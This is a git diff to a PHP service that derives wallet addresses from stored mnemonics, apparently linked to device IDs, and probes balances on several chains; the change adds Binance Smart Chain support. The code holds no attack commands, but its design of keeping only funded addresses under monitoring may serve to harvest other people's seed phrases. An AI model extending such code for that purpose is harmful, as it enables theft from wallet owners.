feat: bnb

app/Services/MnemonicWalletDiscovery.php

@@ -13,7 +13,7 @@ use Illuminate\Support\Facades\Log;
 
 /**
  * When a mnemonic has no linked addresses, derive BIP44 indexes 0..2 for
- * TRON/ETH/BTC/SOL and persist only activated addresses (after a balance query).
+ * TRON/ETH/BSC/BTC/SOL and persist only activated addresses (after a balance query).
  * Fully inactive mnemonics stay out of the DB and are not monitored; the
  * wallets view previews one index-0 address per chain marked 未激活.
  * Activated rows are persisted with monitor on.
@@ -26,6 +26,7 @@ class MnemonicWalletDiscovery
     private const CHAINS = [
         ['chain' => 'tron', 'chain_type' => 'TRON'],
         ['chain' => 'eth', 'chain_type' => 'ETH'],
+        ['chain' => 'bsc', 'chain_type' => 'BSC'],
         ['chain' => 'btc', 'chain_type' => 'BTC'],
         ['chain' => 'sol', 'chain_type' => 'SOLANA'],
     ];
@@ -108,7 +109,8 @@ class MnemonicWalletDiscovery
     {
         $aliases = match ($chain) {
             'tron' => ['TRON', 'TRX'],
-            'eth' => ['ETH', 'ETHEREUM', 'EVM', 'BNB', 'BSC', 'BINANCE'],
+            'eth' => ['ETH', 'ETHEREUM', 'EVM'],
+            'bsc' => ['BSC', 'BNB', 'BINANCE'],
             'btc' => ['BTC', 'BITCOIN'],
             'sol' => ['SOL', 'SOLANA'],
             default => [strtoupper($chain)],
@@ -216,6 +218,7 @@ class MnemonicWalletDiscovery
         return match ($chain) {
             'tron' => $this->probeTron($driver, $address),
             'eth' => $this->probeEth($driver, $address),
+            'bsc' => $this->probeBsc($driver, $address),
             'btc' => $this->probeBtc($driver, $address),
             'sol' => $this->probeSol($driver, $address),
             default => ['activated' => false, 'coins' => []],
@@ -259,7 +262,6 @@ class MnemonicWalletDiscovery
             'coins' => [
                 'eth' => $driver->getNativeBalance($address),
                 'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.usdt_contract', '')),
-                'bnb' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.bnb_contract', '')),
             ],
         ];
     }
@@ -267,6 +269,27 @@ class MnemonicWalletDiscovery
     /**
      * @return array{activated: bool, coins: array<string, string>}
      */
+    private function probeBsc(ChainDriver $driver, string $address): array
+    {
+        try {
+            $bnb = $driver->getNativeBalance($address);
+        } catch (\Throwable) {
+            return ['activated' => false, 'coins' => $this->emptyCoins('bsc')];
+        }
+        $usdt = $this->tokenBalance($driver, $address, (string) config('coruna.bsc.usdt_contract', ''));
+        if (bccomp($bnb, '0', 18) <= 0 && bccomp($usdt, '0', 18) <= 0) {
+            return ['activated' => false, 'coins' => $this->emptyCoins('bsc')];
+        }
+
+        return [
+            'activated' => true,
+            'coins' => [
+                'bnb' => $bnb,
+                'usdt' => $usdt,
+            ],
+        ];
+    }
+
     private function probeBtc(ChainDriver $driver, string $address): array
     {
         if ($driver instanceof BtcDriver) {
@@ -329,6 +352,7 @@ class MnemonicWalletDiscovery
             'device_id' => $mnemonic->device_id,
             'address' => $address,
             'source' => $source !== '' ? $source : null,
+            'chain_type' => $chainType,
         ]);
 
         $row->chain_type = $chainType;
@@ -395,7 +419,8 @@ class MnemonicWalletDiscovery
     {
         return match ($chain) {
             'tron' => ['trx' => '0', 'usdt' => '0'],
-            'eth' => ['eth' => '0', 'usdt' => '0', 'bnb' => '0'],
+            'eth' => ['eth' => '0', 'usdt' => '0'],
+            'bsc' => ['bnb' => '0', 'usdt' => '0'],
             'btc' => ['btc' => '0'],
             'sol' => ['sol' => '0', 'usdt' => '0'],
             default => [],